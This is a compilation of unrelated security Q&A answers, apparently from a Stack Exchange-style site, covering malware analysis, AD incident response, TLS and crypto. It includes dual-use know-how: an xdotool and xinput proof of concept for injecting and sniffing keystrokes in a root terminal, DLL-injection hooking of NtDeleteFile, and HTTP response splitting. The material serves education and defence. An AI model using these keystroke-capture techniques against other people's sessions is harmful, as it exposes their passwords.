When running as a standard user, Windows 10 will not simply throw up a warning box that you have to acknowledge but will throw up a login box into which you have to supply an administrative ID and password.

This dramatically reduces the opportunities for malware to activate or install itself on a system. Which is the main answer to your question.

In addition, running as a standard user in an enterprise environment prevents users from bypassing security controls and generally making a mess of the PC which typically dramatically reduces support costs.

Any organisation running the majority of users with local admin rights is asking for trouble and in regulated industries such as health and finance, this would cause a major audit failure.


codecfix.exe virus and VLC Player and Windows 7

I run this myself and what it did it created some files:

c:\users\me\Temp\LH4P238G44.exe
c:\drive_c\users\me\Temp\1AI9XBO4U6\bureautique.exe
c:\onespd\otutnetwork.exe and config.ini
c:\Program Files (x86)\onespd

In config.ini there's maji=tytyuaaua

Here are the scans results:
https://virustotal.com/en/file/f67590816306117e88ef6c67c6f5d6d1453ddfa1460c4dab846b86184982dec9/analysis/1471121151/

https://virustotal.com/en/file/d129792d6afa7b2cf1bfb86f225822cb941c99e30ce264026963aaf56a3e2e93/analysis/1471121206/

https://virustotal.com/en/file/21c68d4b6914bc1e185c03c632d6f2eaf779ea9e8ebe4075a45015733edd41fe/analysis/1471121316/

https://virustotal.com/en/file/807878a330893176423d8567d8fe0a091d41c11f3fe410ad18a10cb93d349263/analysis/1471121259/

https://virustotal.com/en/file/7322c3fefd8c25de5df9c5d4251aa157632f80126b9adf5810999a268f9aa52b/analysis/1471121330/

You get free panda now and get rid of it ASAP.

Here is the scan of original file:

https://virustotal.com/en/file/c9c4c39a294cbf3b62fc11376101d2d78201da4da066509d67892b698d201720/analysis/1471121592/


WebCrypto algorithms and differences with other crypto libraries

I was looking at the WebCrypto crypto libraries coming form the W3C. Looks like only a few cryptosystems are supported, including AES-CBC, AES-CTR, AES-GCM, and RSA-OAEP.

First, it is important to understand why we have the Web Crypto API standard at all.  It is not designed to be an all-encompassing crypto library for any possible purpose, but specifically to create a secure, inter-operable crypto API to handle a specific set of use cases, so that application developers can be reasonably confident that secure implementations of the specified APIs will be available across multiple user agents.

  Does that mean we're out of luck if we want a different cryptosystem?

The Web Crypto API is still under development, so until it's finalized, there's no guarantee.  However, I would say that at this point it is more likely for systems and use cases to be removed due to a lack of inter-operable implementations, than added.

  A related question is why the new webcrypto API is better than using an existing crypto API such as the Stanford Crypto Library?

It's better because it is built into the user agent.  This means that it can't be tampered with by a MitM, an application can't deliver different versions to different users, and so forth.  This means that it is much harder to subvert, and that you only need security guarantees from the user agent, not from both the user agent and the crypto library.  That said, if it doesn't do what you need, then it doesn't do what you need, and your only option is to look at other options.


Where metadata is stored will be up to the OS and the file that created it (as you say about Notepad and Word docs). Some file types even create a separate file just to hold the metadata.
Because of #1, there is no free "give me all the metadata" tool. There are tools that can find the metadata of a wide range of well-known file types, though.
Because of #1, it would take too long to try and lay out all the steps required to find the "maximum" amount of data.


Information regarding the current implementation of "4G" LTE, as well as the soon to be deployed true 4G LTE-A, can be found at the European Telecommunications Standards Institute (ETSI) website and portal.

3G networks use the KASUMI block cipher with the UEA1 confidentiality and UIA1 integrity algorithms. As you said, there have been several demonstrated weaknesses, which has prompted the use of a new cipher / algorithm.

The 4G LTE successor is the SNOW 3G stream cipher and the UEA2 confidentiality and UIA2 integrity algorithms. To quote the specs page:

  SNOW 3G is a word-oriented stream cipher that generates a sequence of
  32-bit words under the control of a 128-bit key and a 128-bit
  initialisation variable. These words can be used to mask the
  plaintext. First a key initialisation is performed, i.e. the cipher is
  clocked without producing output, see 4.1. Then with every clock tick
  it produces a 32-bit word of output.


When self signing a key in `gpa`, what is the purpose of the "sign only locally" option, and what does it do?

It means if you export the key (e.g. with gpg --export ...) that this signature will not be exported with the key into the export output file.

Comparing the similar utilities gpa with kgpg (where KGpg is KDE's key management utility) you can see the similar, but more enlightening check box:


You can use a network protocol analyzer like Wireshark to show exactly what is happening. Set up an experiment with and without a certain set of rules and compare the results from the Wireshark log files. That way you can show what happens on the network level.

If you don't want to bring more than one computer, you can use virtual machines to simulate the different hosts interacting with each other. It is a little less impressive than using real computers but works almost the same. That way you can demonstrate the use of iptables as a host based firewall (controlling the access to the machine iptables is running on with the host OS and a single virtual machine) and as a stand alone network firewall. In the second scenario you can use 3 virtual machines (or 2 VMs and the host OS), simulating a client, a server and the firewall in between. The more virtual machines, the more is possible. Add one more and create a DMZ for example. It depends on how much time you have and how deep you want to go.


How can i calculate the number of possible passwords?

To get the number of permutations, multiply the number of possibilities at each position:

26x10x26x10x26x10x26 = 456,976,000


Is there another reason Microsoft blocked this address, besides it being a "new" address?

That's a good question. I'm not sure, and maybe some other members of the community can answer it.

  Should I be worried? Could this actually be a Google employee and not an automated script, etc.? Worse, could it be someone pretending to be Google?

It is probably an automated script in Gmail trying to download your Microsoft email. You gave your MSN details to Gmail so it can use POP3 / IMAP to download your MSN email, right?

  If it is indeed from Google getting my email for my linked email address, why didn't Microsoft block the IP addresses Google used before this one? If it is the same address Google used before, why is Microsoft suddenly blocking it?

This is another good question. I have a few thoughts about this, but don't want to inaccurately speculate. However,  I don't thnk this is a sign of maliciousness.

  Why does Google need my username and password to get my email? Why not use a cookie or something?

You use a cookie to log into the authenticated part of a website. Gmail uses POP3 and/or IMAP, which are protocols that are used by desktop mail clients like Microsoft Outlook. It is a lot easier for computers to deal with mail when it comes through a standard like POP3 or IMAP.


Iterated SHA1 hashing and the effect on rainbow table computation

SHA1 is indeed pretty fast and should be considered breakable, especially when the  space your values come from is that limited. Whether or not increasing iterations will increase the difficulty should be rather obvious: If one hashing operation costs you 0.001ms, 1000 hashing operations will cost you 1ms. Thus, increasing the iterations does indeed increase the difficulty of breaking that final hashed value.

There are however better suited candidates than SHA1 for that job, BCrypt and PBKDF2 come to mind.

If you use such a function and make the iterations a significant factor to make brute forcing unfeasible, you should keep in mind that this could mean an easy DDoS-attack surface on layer 7 if you use that for password checking:

If it takes your server 1s of 100% CPU load to check a login, sending you a login try every second will kill your system easily. If you choose something below say, 1ms (such that an attacker needed at least 32 machines with 16ms ping), it would again be crackable using brute force and some huge EC2 instances.

This, by the way, is because of your fixed length key space.

If your pepper (what you call "salt" in the question) is sufficiently large and unknown, this will increase the difficulty for breaking the first hash significantly, yet after that (if it's known that that's a pepper) it's easy to iterate through the remaining 10 bytes of plain text to break all other hashes.

For example, when your pepper is abcd and the keyspace is only one character, while you have to iterate from aaaaa up to abcda, as soon as you found a, you also found the pepper and thus only need to iterate from abcda to abcdz.


How can I capture files malware creates and then deletes?

The Sysinternals Suite contains a variety of tools, many of which can be used for dynamic malware analysis.

Process Explorer shows useful information about the running processes on a system

ProcMon monitors process activity showing information such as:

Registry modification
Disk access
Process creation

and more.

In order to capture file before they are deleted: I would hook "NtDeleteFile" or the specific API the process is calling.

Filtering the calls to that function would prevent the process from deleting certain files.

This could be implemented in a Dynamic Link Library and injected into the target process.


How do I know whether the RAT tool (cracked/) I am downloading isn't backdoored?

The problem of assessing the security of "blackhat" software is, as you've mentioned, that many automated checkers will flag it due to it's purpose.

So this leaves you in a situation where you'd need to either "trust" the vendor, as @steffen-Ullrich says in comments or complete a manual assessment of the tool to ensure that it's doing what you want.

One approach to this would be to deploy the tool into an instrumented environment which can log changes in system files and network traffic and then put it through it's paces.  Then review the logs provided to see whether the changes and traffic that was generated meet your expectations.

Of course this runs across all the possible problems of the tool having implemented anti-forensics technology either as part of it's primary purpose or as past of a backdoor.

If you have access to the source code you could obviously review that, and then ideally build from the source code you have.  Assuming you've got the capabilities to complete that review, then that would provide more assurance.

Fundamentally it depends on how important it is to you to assure this software and the level of effort you're willing to go to.


How do I deal with a compromised Active Directory?

The first step should be to follow your organization's Information Security Incident Response Plan.  If you've never tested it before, it will likely be lacking in some things, so be sure to take notes as you go and update it after the incident.  Your company's next step should be to bring in an outside security response firm to help navigate the problem.

Until they arrive, you need to start by locking the attacker out completely. Isolate the entire forest of Active Directory servers from the rest of the network.  Create brand-new dedicated accounts for your domain admins to use strictly for domain administration purposes going forward, and then remove domain administrator authority from all users, including yourself.  Take a copy of the Active Directory logs, so you can figure out which accounts he may have accessed, changed, or used.  Those accounts are obviously your priority for password changing.

Now you can reconnect your AD servers to the network.  From this point forward, use only those special accounts for domain administration tasks; and never use those special accounts to log in to any machine that isn't an AD server.

Never grant domain admin privileges to any account that can be used to login outside of the AD servers.  Instead, use the new accounts to manage the domain by local login only.  The reason for this is it's likely the attacker compromised a workstation that one of your domain admins had logged into.  The attacker then used a pass-the-hash attack to log on to your AD servers, and that's when it was game over for you.  You never want your domain admin credentials exposed outside of the AD server environment.

Next, close down the attackers entry and exit points. Shut down or disconnect from the network any compromised machines; depending on the data in those machines you may have to preserve them as evidence.  You'll also have to figure out what he took, gather evidence, report it to the appropriate authorities, send out breach notifications if required, etc., etc., etc.

Only after you've done those first response steps is it time to think about having your users change their passwords.

There is an easy way to get the rest of your people to change their personal passwords: send out a notification to everyone that you will be requiring them to change their passwords, then set the "User must change password at next login" flag on all accounts that allow interactive login.  A few days after you've notified them, you should lock out any accounts that still have unchanged passwords. Any remaining affected users will have to call your help desk to unlock their account before they can log in.

You'll also probably have a lot of non-user credentials in your organization. These are the service accounts for all your back end systems, and they all need to be changed, too. You'll definitely need to find the technical owners of each of those systems, and work with them to make the changes. Changing dozens of non-user passwords is one thing, but changing thousands of them is way too big a task for one person.  You'll need organization. You'll want to assign security people to each handle one or more of the various divisions and departments. If you don't have enough security staff, you'll have to deputize some of your trustworthy technical folks.

You also will need to scan all the machines in your domain; review every member of the Administrators groups you find; and discover any local accounts (administrators or not.)  The local accounts need to have their passwords changed, too.  You could enforce this by sending a group policy to the domain-joined machines to require local accounts to force a password change.

But don't involve your users until after you're absolutely sure you've secured your systems, and you know the intruder can't return. You are not only wasting their time if you have them do it twice, but you're appearing to them like you're scrambling. There is a huge psychological blow to people when they've been violated, and you will need to outwardly project an image of situational control. "Uh, hey guys, can you all change your passwords again?" is not a confidence builder among the troops.


Handwriting/cursive education is on the decline. How does this affect signature-based authentication?

I am very skilled in cursive handwriting, and I can tell you that such skill has little to no effect in forging another person's signature. Most often, people forget how cursive really works and just memorize a fast signature. This makes scrawled messes like you can usually find on a doctor's note common, and any real ability in cursive only makes you more aware of how much of a monstrosity it is. While cursive may make your hand steadier, forging a signature requires skill in the area of being able to draw and copy very well, not the skill of cursive. Of course, if you're interested in getting a perfect forgery it is much easier to use conveniences of the age such as cameras.

As for how it relates to information security, a signature is another imperfect verification process meant to slow scammers. It is possible to forge a signature, either with a skilled hand or with digital tools. However, if some scammer makes a fake card with your credentials, they likely will not know or care what your signature is. When you detect the malicious activity on your account, it is easy for the bank to check your signatures to find the fake ones. Your signature will also be checked on any large check. However, when you're buying five dollars worth of groceries it will likely be stored for a little while and never seen again. Any real understanding of cursive is pretty meaningless to this process.


ELF so file got flagged as Exploit, how to confirm if this malicious

If the file was installed by the OS package manager you can compare the hash and package signature against that of the distribution. Given that it's been flagged as a malicious apk it is likely a bad rule, but if you don't have a trusted source to compare it against you can't really be sure it's not malicious.

Ps. it can still be a malicious library, just one that doesn't have any existing detections or known badness ... ;)


This is absolutely normal. gstatic.com is used for static Google content (Javascript, pictures, CSS, stuff like that which is the same for all users), and one advantage of offloading static content onto its own domain is that they can then use a CDN to put that content as close as possible to users. So, Google puts copies of the content on servers in your ISP's datacenter in order to speed up page loads.


Why do administrators create passwords vulnerable to kerberoasting?

What is the motivation for administrators to launch services with SPN
from domain user accounts?

There are five ways you can set these things up:

Local service on a workgroup machine
Local user on a workgroup machine
Local service on a domain joined machine
Domain user on a domain joined machine
(g)MSA on a domain joined machine

There is a collective belief that running things as local service accounts (SYSTEM, NETWORK SERVICE, etc.) are bad security practices. This is misguided in some ways and accurate in others. It forces the service to operate as the machine account on the network and rightfully gives the service full control over the machine. If it's a single-use machine then having it operate as SYSTEM is actually more secure because you only have to worry about the machine identity on the network, not machine plus service account. Incidentally machine accounts tend to de facto have fewer permissions on a network because no one every really thinks to grant special privileges to machines.
Conversely if it's a multi-use machine then running it as SYSTEM puts you in a tricky spot because attacking the one thing can cause an attacker to take full control and then easily take over the other things running on the system. Multi-use machines used to be quite normal back in the day, and still are in smaller environments.
This is applicable in both workgroup and domain scenarios but obviously the machine doesn't have an identity on the network in workgroup so that's one less thing (at the loss of manageability).
Given the above belief people tend to just say screw it and make a dedicated service account. Someone makes a claim about SYSTEM, someone else believes them, yet another someone else writes it down, one more takes it as gospel and the cycle viciously repeats itself. See Monkeys, bananas, ladder, spray as a fake and contrived, but convincing, example of how this works in life.
As for why people then give weak passwords for these things? Because they a) don't know any better, or b) don't care, or c) both. Getting people to use good passwords is hard. Like really really really hard.
And for why people don't use managed accounts: because they're poorly documented, people don't understand how they work, only a handful of things support them natively, and most of all people just don't know they even exist.


Content Security Policy line of code for beginners

The header will prevent resource files from being loaded from anywhere except the source domain.

However, it will not prevent man-in-the-middle or browser hijacks which may dynamically insert changes to the page itself since those are not trying to load a separate resource file as far as the browser is concerned.

Header set Content-Security-Policy "default-src 'self'"

Is indeed the correct Apache .htaccess entry.

To prevent MiTM hijacks, you need to make sure that all resources are delivered encrypted over HTTPS. Use certificate pinning to help prevent MiTM decoding.

To prevent browser hijacks, firstly ensure that all clients have robust ad-blocking installed and updated (if you are on a controlled network, do this at the network level). That prevents drive-by hijacks which are increasingly common. Other forms would come from malware on the PC so ensure that users have constantly updated anti-virus and are familiar with attacks such as phishing, not opening untrusted documents and never running applications unless known. the usual client security stuff.


How can cloud service providers know that they are being used for launching a DoS?

First of all, IP spoofing can and should be detected and blocked. The provider's firewalls shouldn't allow packets that have a source IP different from the legitimate netblocks assigned to the server, and raise an alert as IP spoofing is a pretty reliable indicator that some idiot is trying to use the server for DoS or similar nefarious things (I can't think of any legitimate use case for IP spoofing).

For simple bandwidth-exhaustion DoS, assuming the former method didn't catch it, the provider can try to detect common indicators such as whether the packets correspond to any known DoS tool or malware, whether packets are similar (1Gb/s of exactly the same UDP packet seems suspicious for example), and can finally apply advanced neural-network based pattern matchers that try to look for anything unusual just like banks do for credit cards (a server who never sends out much traffic suddenly sends out 1Gb/s -> raise an alert).

For higher layer attacks such as HTTP, etc I do not see much solutions I'm afraid. The first issue is a legal and ethical one. Comparing the source/destination, size and entropy of packets (as described above) is one thing and personally I would be fine with it, on the other hand having a proxy that would try to parse any packet sent out and break it down into a list of HTTP headers, DNS requests, etc is another thing and would be equivalent to wiretapping and besides being potentially illegal, I bet most people wouldn't like it, even if it is used for legitimate purposes (but once you get the potential to parse and understand any packet, it's only a matter of time before someone decides logging that data for whatever reason).

Assuming the legal/ethical concerns are out of the way, it would be really difficult to tell legitimate and malicious packets apart. There are some applications that can be brought down with just a handful of requests to the search form with the right query. How will a system like this tell legitimate search form usage from malicious abuse?

In my opinion, higher-layer attacks are best dealt with at the attack's recipient, as only they can tell a malicious request from a legitimate one, and can easily implement countermeasures on their own, as opposed to bandwidth exhaustion attacks where cooperation of the attacking network's provider is necessary since getting enough bandwidth to sustain an attack is sometimes impossible for a medium-sized company given a large enough botnet.


Would generic exception messasges be considered a security risk?

Should Exceptions be shown to the user?

No.

Displaying exception messages is bad practice. Exceptions should be used to debug the code, they should not be used to display something to the user.

If you use the same mechanism - exceptions - for both tasks, it will be very difficult to separate between them. Eventually, you will either show an exception message with too much information, or you will log an exception with not enough information.

Additionally, exception messages generally do not make for good usability. Why would a user care that there was an error in the exception handler? What are they supposed to do with this information? Most users would not know what an exception handler is, and would be confused by such a message.

Is this information disclosure?

As you noted, you do disclose information through this message (you are using Laravel). And it's also searchable via google, so if for example a new vulnerability in Laravel is found, someone may search google for this error message to find a lot of Laravel installations to attack. This means that with this message, you may theoretically draw attention and attacks towards you.

On the other hand, disclosing used software (without the exact version) is often quite hard to prevent, and sometimes not even desired.

It's really a judgement call if you want to call this information disclosure or not. If you eg take the definition of CWE-200:

  An information exposure is the intentional or unintentional disclosure
  of information to an actor that is not explicitly authorized to have
  access to that information.

  The information either

  is regarded as sensitive within the product's own functionality, such as a private message; or
  provides information about the product or its environment that could be useful in an attack but is normally not available to the
  attacker, such as the installation path of a product that is remotely
  accessible.

So the question is if you think that a user is not authorized to know that you are using Laravel, and if you think that this information is not normally available.

Conclusion

You do leak some - quite minor - information for no good reason, which may have a small impact on security and usability.

You should instead display a useful error message if possible, or a generic error message if not.


Machines create noise that maybe be detected by an attacker.   If this noise undermines a physical cryptosystem then its called a side channel attack which is a very interesting and diverse research topic.

Like it or not,  passwords are the gold standard and the human interface devices we use are very noisy.  The electromagnetic noise produced by typing on a regular WIRED keyboard can be sniffed. As if that wasn't bad enough the vibrations from your keyboard can be sniffed with a laser.

Using an FPGA the HyperTransport bus was sniffed on the XBOX to obtain its secret key and break its (poorly designed) anti-piracy system.  Microsoft should have been aware of this,  because bus sniffing isn't new.   Its also been used to break password protected hard drives.

Communication with a smart card can also be sniffed.

CRTs and even modern LCDs are vulnerable to Van Eck Phreaking.

The MPAA is using canines to sniff for pirated dvd's.


Offline mobile app data storage Guidelines, Standards

I am very interested in to know how you worked around that. NIST reference is good but does not cover specific scenarios like the one you described, My first thoughts were that following the principle of "grant access on a need To know" basis I would consider another role segmentation perhaps with a Logical Control within the devices itself, if they are capable of executing such control (not sure the firmware, os, version, model, etc of your case). If they don't definitely capable of doing that I would suggest a policy and addendum to their contract with some NDA clause that encloses the appropiate use of resources (I guess that already exists like in most cases but you can add verbiage that properly covers the mobile devices and the information within it).

Most solutions will only lead you to compensate for the risk but from a compliance perspective (for different regulations), as of now, you won't be allowed to do that and the answer will be to stop using that in a typical case of security over cost and effectiveness. If you continue with any compensatory control for it you should add this to your risk assessment as this is PII data, meaning sensitive information that the company should have to protect and I can tell you that the responsible parties for the risk acceptance will give it a second thought if they're smart enough.

HIPPA as an example won't allow you to do that (https://www.hhs.gov/sites/default/files/ocr/privacy/hipaa/administrative/securityrule/techsafeguards.pdf). And you can review all the documentation but you will encounter the same barrier that overlaps regulations, certifications, best practices, etc: that access PII must be RESTRICTED.

Plus: Mobile Devices are often exposed, they are considered an easy entry point for criminals so sharing with a non-authorized person to access PII is not recommended as the risk calculation (risk=vulnthreatconsequences) will be really high.


What if TLS is suddenly found to have a critical defect?

Probably the same as all the others. There will be a brief panic, probably a lot of news coverage, and meanwhile browser vendors, TLS implementors, or both will find an approach to patch or mitigate the issue (e.g., BEAST) and do their best to get it distributed widely.


Yes, your guessing is correct. OpenVPN has a built-in certificate management feature. This is the role of the Easy-RSA, I am guessing you already know that. The Easy-RSA is an RSA key management package based on OpenSSL. It allows you to build your own root CA and generate and manage the client's certificate/key pairs and the server certificate/key pair. Then the mutual authentication (bi-directional-authentication) is out of the box.

The case will be different if you try to use an external CA. For example, if you want to use  third-party tools for X509 PKI management. In this case, the OpenVPN access server will not manage client certificates directly. The external CA PKI software will be used to generate and distribute certificate/key pairs to client machines, and a server certificate/key pair to the OpenVPN server.


Security of root terminal (su -) when logged into X

Yes, it is less safe than if you switched to text console and log in as root directly.

Proof 1:

If you are logged in as root in a terminal, another process can send commands to that terminal.

Simple proof of concept:

Open a terminal, place in in the top left corner of the screen and switch to root.
Open a second terminal that does not overlap the first and type:

  $ xdotool mousemove 100 100 click 1 && xdotool key l && xdotool key s &&
  xdotool key KP_Enter

xdotool

Proof 2:

xinput can read all keyboard strokes

Use

  $ xinput list

to identify the id of your keyboard and

  $ xinput test id

to see which keystrokes are pressed. This will also display the keystrokes from the su terminal and reveal your password.

xinput man page


Right now, it seems that none of the existing major browsers supports TLS-PSK, and neither to they support TLS-SRP. In your case, both are applicable, but SRP is "stronger" in that it tolerates much better a low-entropy shared secret (say, a password). There has been some initial effort at making Chrome SRP-aware; I don't know how far it went. Since everything PSK offers can be done by SRP and arguably in a better, stronger way, it is plausible that browsers will get SRP support before they get PSK support. But it is not done yet.

In the meantime, you can have some partial workarounds:

Have your users employ Firefox, with a specific profile. A Firefox profile includes, in particular, the set of root CA that the browser will use to validate server certificates; let them use an "empty" profile containing only your own CA.
Make the users connect through a VPN. In particular a SSH tunnel: SSH can be used as a SOCKS proxy, which the browser can be instructed to use for every connection. SSH's public-key model is CA-less; each user decides which key he accepts or not.
Turn the Web application into a genuine, full-fledged application installed on the client system. That application will then do the SSL with your server, and can then choose whatever authentication mechanism it wishes to use.
Don't do anything: it is the problem of the client, not yours.

The last "workaround" deserves some extra thinking. Indeed, the problem with potential rogue CA is that these CA are trusted by the client. In a successful Man-in-the-Middle attack, the attacker poses as a fake server, and the client is talking to the attacker, not to you. Therefore, as first approximation, there is nothing you can do in the server which will change what happens between the client and the attacker. In SSL/TLS, the client announces all the cipher suites it is willing to use, and the server then selects one. Even if your server wants to use SRP or PSK, you can bet that the attacker's server will prefer some other cipher suite.

Therefore, assuming that you find an SRP-aware browser, the security of the connection against MitM attackers (who could bribe a CA) relies not on your use of SRP on your server, but on the human user: that meat-bag must expect SRP (or PSK) and call foul play if he does not get it. MitM will be defeated only insofar as the human user, presented with a green padlock and nice login page with your logo and asking for his SMS-obtained password, will say to himself: "hey, this is a Web page, not a browser popup !" and then refuse to connect. If you can make your users reliably react that way, then you can probably train a cat to do the laundry and vacuum-clean the carpets (and then I am highly interested in your services).

This amounts to the slightly depressing following summary: if your users trust rogue CA, then they are already hosed; and there is nothing your server can do to really protect them. First step is to teach them to un-trust existing CA, which will bring back protection (assuming their machines are not already hijacked), but will also "break the Internet" from their point of view.


Would a CD drive on a driverless car pose a security risk?

Not on a well-designed car

The CD player is part of the media system. It's likely that the media system has a number of security vulnerabilities, and a malicious CD can probably take control of the media system. It would be difficult to fix this without either greatly increasing the cost, or restricting the functionality of this.

The car control systems - the CAN bus - should be strongly separated from the media systems. In previous attacks, like Jeep hacking, attackers have been able to break across from the media system to the CAN bus. However, this represents poor design and implementation. The two systems should be kept separate - or at least, have a highly restricted interface - and it is possible to do that at reasonable cost.

Whether any future driverless cars will be well designed remains to be seen.


If RSA is done properly (as per PKCS#1), then no.

If RSA is done very improperly (i.e. without any kind of padding), then message reconstruction is possible if you encrypt the same message m with e distinct RSA keys, provided they all use e as public exponent. This is done with the Chinese Remainder Theorem: since n1, n2... ne are all relatively prime to each other (otherwise a simple GCD will break two keys, at which point the problem is solved), knowing me modulo all the ni is sufficient to rebuild me modulo the product of all the ni. So you recompute me modulo N = n1n2...ne. However, m is smaller than each ni, so me is smaller than N. In other words, you get me itself, not me modulo some integer. Computing an e-th root in the non-modular integers is easy, and this reveals m.

I insist, this is not a weakness of RSA. Rather, it is an illustration of why RSA, the real one, is not merely a modular exponentiation, but includes a padding step (and that padding includes random bytes, which is also important for a completely different reason). The RSA-without-padding is often called "textbook RSA" because most textbooks describe RSA that way.


For attacks using applications flaws, like in your example, the goal is to feed the content of the 302 response (with an empty location and a real HTML content. So the first response, the 302 response, will not have a Content-Length: 0. Put the 'hacked' in this 302 page, with a length. No location is given so the redirection will fail. The next response (the official response) is discarded. In this mode you do not care about the second response.

A browser behavior on receiving a response for something not yet requested is quite hard to predict. Unless HTTP pipelining is used on the browser this response would be simply ignored.

But the target of HTTP response splitting attack is not always the browser.

Such issues can be used for complex cache poisoning attack. The attacker will build the pipeline of queries (usually without a browser), so that the second query will get the extra response and could be poisoned in a cache.


Why would malware try to remove other malware?

There is two explanations as I see it.

Fight over the box

The different malware types want to single-handedly own the box and not share it with others. It will therefore try to patch the system and remove other malware and leave a backdoor for the creator.

Ethical worms

Malware that spreads only to patch and remove other malware is often referred to as "white worms" or "ethical worms". These types of worms has very many liability issues so they are often not seen a lot.


Is HTTPS URL in plain text at first connection?

Short answer: No, the URL is encrypted, but the (sub)domain is sent in plain-text.
In your case a (passive) attacker knows that you are connecting to example.com, but it does not know which specific page you are accessing.

In short there are three times where an attacker can get information about the site you are accessing (ordered chronological):

(Sub)domain in the DNS query
(Sub)domain in the Client Hello (SNI)
(Sub)domain in server certificate

However the...

URL is sent encrypted via TLS

For more details read the explanation below.

Explanation

Note: When I am writing "(sub)domain" I mean both the domain (example.com) and the subdomain (mydomain.example.com). When I only write "domain" I really only mean the domain (example.com) without the subdomain.

Basically what happens is:

You type in https://example.com/supersecretpage.
The browser submits the (sub)domain in a special TLS extension (called SNI)
At some point the browser gets the SSL certificate from the server.
Depending on the certificate* this also includes the subdomain you're connecting to, but it may also include more than one subdomain and even more than one domain. So in fact the cert of example.com may also include www.example.com, devserver.example.com and how-to-develop-tls.example. These entries are called Subject Alternative Names and the cert is valid for all of them.
After the client verified the certificate and the client & server choose a cipher the traffic is encrypted.
After all this happened a "usual" HTTP request is send (over the secured TLS channel). This means this is the first time in the whole request where the full URL appears. The request e.g. looks like this:

  GET /supersecretpage HTTP/1.1
  Host: example.com
  [...]

* If the certificate is a wildcard certificate it does not include the subdomains, but just *.example.com.

Another thing is worth mentioning: Before the connection can be established at all the client needs to resolve the DNS name. To do this it sends unencrypted DNS queries to a DNS server and these ones also contain the (sub)domain, which can therefore be used by an attacker to see the visited domains.

However this does not always have to happen in this way, because you assume the user manually types in https://example.com/supersecretpage into the URL bar. But this is very rare as most users e.g. would rather type in example.com/supersecretpage. Another issue would be visitors clicking on an insecure link, which uses HTTP - in contrast to a secure HTTPS-link). Such links could e.g. be old links created when the site did not support HTTPS or did not redirect to HTTPS by default.
You ask why this matters?

In the such a (usual) case there is no https:// in the URL. When no protocol is entered into the URL bar all browsers internally "convert" this URL to http://example.com/supersecretpage (note the http:// there) as they cannot expect the server to support HTTPS.
This means the browser first tries to connect to the website using insecure HTTP and only after the website sends a (301) redirect to the HTTPS URL it uses the secure mode.
In this case the attacker can see the full URL in the unencrypted HTTP request.

You can easily test this by yourself by looking into the "network panel" of your browser. There you should see this "HTTPS upgrade":

However note that there are techniques to prevent this insecure first HTTP request. Most notably HSTS and - to protect even the first connection you make to the site - HSTS preloading, but also HTTPS Everywhere helps against such attacks. FYI: According to Netcraft 95% of all HTTPS servers vulnerable were vulnerable to such (SSL Stripping) attacks as of March 2016.


VGA and HDMI are not one-way; besides the main send-pictures functionality, there is some low-bandwidth bidirectional communication. This is how a computer can "know" that a new display was connected, and what resolution to use on that display. In the case of VGA, this was a backported feature (VGA displays from the early 1990s could not do that).

Theoretically, this could be exploited, if (and only if) there is some weakness in the receiving part (the display card and its driver). The protocol is not complex (no TCP/IP stack involved) so exploitable security holes should be rare.

Usually, a malicious display can do much more evil by simply logging a copy of everything that is displayed. For instance, I have an account in a bank, such that for online banking I "type" a password by clicking on semi-randomly located buttons. A screen logger grabs the password easily in such conditions (ironically, that system was meant to thwart keyloggers). Therefore, the usual wisdom is that if your display is malicious, then you already have bigger problems.

Note: some displays also double as a USB hub -- and weaknesses in USB protocols have been exploited (e.g. the "PS3 Jailbreak" from 2010). For common PC, the USB link is an extra plug, but these things may change. For instance, Apple computers now use the Thunderbolt interface which is fully bidirectional and uses a rather complex protocol, where security holes are quite plausible.


The easiest way to do what you're asking is simply to use openssl s_client to connect to the site with a restricted cipher list.  And, in fact, the same approach will work for a number of tools - certainly with most programming or scripting languages (Python (as @terry-chia suggests), Perl, tcl, C...) and with browsers (some useful commentary here).

Let's walk through how you can do this with openssl.

Determine ciphers you want to try

You can use the tool sslscan to determine ciphers that a given site accepts or rejects:

$ sslscan www.google.com | grep Rejected | head -1
    Rejected  SSLv3  256 bits  ECDHE-ECDSA-AES256-SHA
$ sslscan www.google.com | grep Accepted | head -1
    Accepted  SSLv3  256 bits  ECDHE-RSA-AES256-SHA
$

And this has told us one cipher that www.google.com rejects and one that it accepts.  Now we can test both with openssl s_client.

Testing a Rejected cipher

Simply use the '-cipher' argument to openssl to limit the cipher suite which your client will support to the one cipher you want to test.  Here I pick the one that is marked Rejected by sslscan:

$ openssl s_client -cipher 'ECDHE-ECDSA-AES256-SHA' -connect www.google.com:443
CONNECTED(00000003)
140465833367232:error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure:s23_clnt.c:741:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 7 bytes and written 127 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
---
$

We see a handshake failure near the top, and then we see "Cipher is (NONE)" which is a clear sign that the server was unwilling to agree with a client that was negotiating only the one cipher we specified.  I presume this is what you mean when you say you want to connect with a specific SSL cipher and "view the output."

Testing an Accepted cipher

Now if we do the same with the cipher that we know the server supports, we see a full connection go through and we can type in HTTP commands.  Below the output I'll list some things to have noticed:

$ openssl s_client -cipher 'ECDHE-RSA-AES256-SHA' -connect www.google.com:443
CONNECTED(00000003)
depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
   i:/C=US/O=Google Inc/CN=Google Internet Authority G2
 1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIEdjCCA16gAwIBAgIIRYUpUVjSfHQwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UE
...
OEK3nH1sBk2Hy5ZBcyludHyUzqTHsXSjnIjwZNPpihVmFrs5I1Ma7iEj
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
issuer=/C=US/O=Google Inc/CN=Google Internet Authority G2
---
No client certificate CA names sent
---
SSL handshake has read 3750 bytes and written 277 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.1
